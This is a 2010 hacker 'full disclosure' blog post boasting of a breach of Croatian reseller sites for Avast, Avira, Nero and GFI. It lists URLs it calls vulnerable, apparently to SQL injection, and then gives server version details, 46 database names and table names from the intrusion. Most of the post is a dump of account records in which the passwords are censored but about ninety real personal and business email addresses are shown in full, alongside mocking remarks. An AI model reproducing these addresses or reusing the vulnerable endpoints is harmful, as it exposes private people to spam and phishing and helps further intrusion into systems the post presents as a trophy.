Jsoftware: Avira

Avast,Avira,Nero Full Disclosure Accounts Exposed

Posted by isrtinkode on February 28, 2010

                       _                  _             _   _
    /\                | |       /\       (_)           | \ | |
   /  \__   ____ _ ___| |_     /  \__   ___ _ __ __ _  |  \| | ___ _ __ ___
  / /\ \ \ / / _` / __| __|   / /\ \ \ / / | '__/ _` | | . ` |/ _ \ '__/ _ \
 / ____ \ V / (_| \__ \ |_ _ / ____ \ V /| | | | (_| |_| |\  |  __/ | | (_) |
/_/    \_\_/ \__,_|___/\__( )_/    \_\_/ |_|_|  \__,_( )_| \_|\___|_|  \___/
                          |/                         |/
                                     #TinKode & Jackhax0r @ Full Disclosure

Informations:

Company Miam-Veri d.o.o is a representative of avast! products for the Republic of Croatia.
Miam-Veri d.o.o. is reseller for Avast! Antivirus, GFI Software, Adobe and Nero VLP.
Avira Antivirus
Avast! – Computer virus, worm and Trojan protection
GFI – Fax server, Exchange and network software
Adobe – Print, design and publishing software
Nero VLP – All-In-One Digital Media Solutions

Vulnerable links:

Avast: http://www.avast.software.hr/detalji.asp?ID=9
GFI: http://gfi.software.hr/detalji.asp?ID=7
Nero: http://nero.software.hr/detalji.asp?ID=67
Avira: http://avira.software.hr/detalji.asp?ID=6

Testing:

Main Informations:

[*]Version = Microsoft SQL Server 2005 – 9.00.4053.00 (Intel X86) May 26 2009 14:24:20 Copyright (c) 1988-2005 Microsoft Corporation Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 2)
[*]Current User = censored
[*]Current Database = censored
[*]Server = Microsoft-IIS/6.0

Screen:

All Databases (46):

censored
master
tempdb
model
msdb
ASPNETDB
dnn_zupa
GalaTest
hram-zdravlja-dnn
codeit
tiashop
radio_ivanec_hr_dnn
gipsmont-cosic
drvodjelac_hr_dnn
hps_hr_dnn
moto_gume_com_vs
kridom2
kridomhr
EMOS_ZG
Nekretnine
nnmkor
oglasnik
emitri_hr_emitri
24sata2
novi-informatorProduction
rideatrain
mdosobnidnevnik
CY_2008
CYRacuni
testMISO3
croatia_rab_net_katalog
dracomerx_hr_CompanyWeb
mojkompjuter_com_mojkompjuter
lglas
motoklub_cms
POSLOVNIPROSTOR
vs-baterije
rituals
FRIGOTEHNIKA
knjiga
shop_manitabo_com_vs
bednja_hr_baza
9A4DK_com_dnn
TicketTool
split_itportal_com_CompanyWeb
vs-marjan-tisak

Tables from main database “censored“:

DJELATNOSTI
FINTAB
Komentar
KomentarPoslovanja
KontrolaNaloga
KontrolaNalogaPojedinac
KontrolaNalogaTemp
Limiti
LOG
OBRASCI
OBVEZNIK
OPCI1
OPCI2
OPERATERI
POGRESKE
Pokazatelji
PonudeHyperion2
PonudeH
TA
TAB_ZAG
TABBC101
TABBC102
TABBC103
TABDE101
TABDE102
TABDE103
TABLICE
ZAGLAV
TFI-POD
vVrijednosnica
vVrijednosnicaTFI
AvastAdmin
AvastTecaj
AvastTempNar
AvastKategorije
AvastNarproizvod
AvastNarudzbe
AvastNaslovna
AvastProgrami
KontniPlan
Racuni
RacuniDet
Ponude
PonudeDet
AviraKategorije
AviraPopis
AvastPopis
AvastProizvodi
AviraProizvodi
AvastIsplata
NeroKategorije
NeroProizvodi
AvastKorisnici
Kupci
AvastKupci

Columns from table “censored“:

Username: censored
Password:censored

OMG! WTF IS THAT? O_o
Accounts from “censored“:
Username : Password : Email

censored–censored–avast@software.hr
censored–censored–info@infoplanet.hr
censored–censored–eksa-bit@ri.t-com.hrcensored–censored–brkaric@gmail.com
censored–censored–kontakt@aero-racunala.hr
censored–censored–info@diskont24.com
censored–censored–damir@node.hr
censored–censored–info@najkomp.hr
censored–censored–servis@ultimus.hr; shop@ultimu
censored–censored–amisa@amisa.hr
censored–censored–info@vobis.hr
censored–censored–partner.avast@signon.hr
censored–censored–fran.baca@knjigice.com
censored–censored–info@chloris-informatika.hr
censored–censored–olicomp@optinet.hr
censored–censored–instar@instar-informatika.hr
censored–censored–magazinrs@magazinrs.hr
censored–censored–kreso@cio.hr
censored–censored–edrazenovic@gmail.com
censored–censored–alen@besoft.hr
censored–censored–mprahin@gmail.com
censored–censored–1990ivan.maric@gmail.com
censored–censored–tspinjac@gmail.com
censored–censored–optima@optima-zadar.hr
censored–censored–hturcin@hotmail.com
censored–censored–danko@adm.hr
censored–censored–mpasicko@gmail.com
censored–censored–faithfry@gmail.com
censored–censored–sasa.jovanovic@inet.hr
censored–censored–prut@email.com
censored–censored–dsajcic@gmail.com
censored–censored–marko.pecatnik@gmail.com
censored–censored–dominik.dusak@gmail.com
censored–censored–valter.stemberga2@gmail.com
censored–censored–slavica.zubak@hotmail.com
censored–censored–hrvoje.humski@gmail.com
censored–censored–antonio@software.hr
censored–censored–info@studio-slatina.hr
censored–censored–damir.hlaj@ka.t-com.hr
censored–censored–frediienator@gmail.com
censored–censored–bojan.podnar@gmail.com
censored–censored–igorkolar25@gmail.com
censored–censored–zlajamaxi@gmail.com
censored–censored–grimir69@net.hr
censored–censored–npavic_82@yahoo.com
censored–censored–albukvic@gmail.com
censored–censored–dlistes@gmail.com
censored–censored–stzizic@gmail.com
censored–censored–samuel.koprivnjak@gmail.com
censored–censored–marin.farkas@gmail.com
censored–censored–tomislav.parcina@gmail.com
censored–censored–vklen@net.hr
censored–censored–dlonjak@ffos.hr
censored–censored–osjecko2@gmail.com
censored–censored–miro.sertic@email.t-com.hr
censored–censored–milolozaantonio@yahoo.com
censored–censored–jogalic@gmail.com
censored–censored–robimlinar@gmail.com
censored–censored–josip.crnicki@gmail.com
censored–censored–antisa1@optinet.hr
censored–censored–braneweb@gmail.com
censored–censored–ninovukic@gmail.com
censored–censored–e.one@post.t-com.hr
censored–censored–fran.jadrijev@hotmail.com
censored–censored–houseboki@gmail.com
censored–censored–som@somware.hr
censored–censored–info@studio-bonet.com
censored–censored–skydiver.extreme@gmail.com
censored–censored–nik238@net.hr
censored–censored–odiriuss@gmail.com
censored–censored–mario44@net.hr
censored–censored–marina.velat@gmail.com
censored–censored–nikolavlacic@gmail.com
censored–censored–eomersblood@gmail.com
censored–censored–doris.fiume@gmail.com
censored–censored–vjeran555@yahoo.com
censored–censored–dumbovic@gmail.com
censored–censored–shogo.cro@gmail.com
censored–censored–vanja.rain@hi.t-com.hr
censored–censored–mladen.basic@email.t-com.hr
censored–censored–lahor.enc@sk.htnet.hr
censored–censored–mate.barbaric@gmail.com
censored–censored–mestrovic.ma@gmail.com
censored–censored–Z.HRVOIC@vip.hr
censored–censored–binogrupa@bino.hr
censored–censored–info@pixma-itshop.com
censored–censored–vekkica@hotmail.com
censored–censored–goran.nxn@gmail.com
censored–censored–castoos@gmail.com
censored–censored–brkcomp@brkcomp.hr
censored–censored–ivanvalentic81@gmail.com
censored–censored–ivan.cajkovac@gmail.com
censored–censored–binder.jo@gmail.com

[LOL]
So, all official reprezentative websites of Avast, Avira, Nero, GFI created by Miam-Veri D.O.O are vulnerable!
Great!
~TinKode
~Never forgot the power of silence!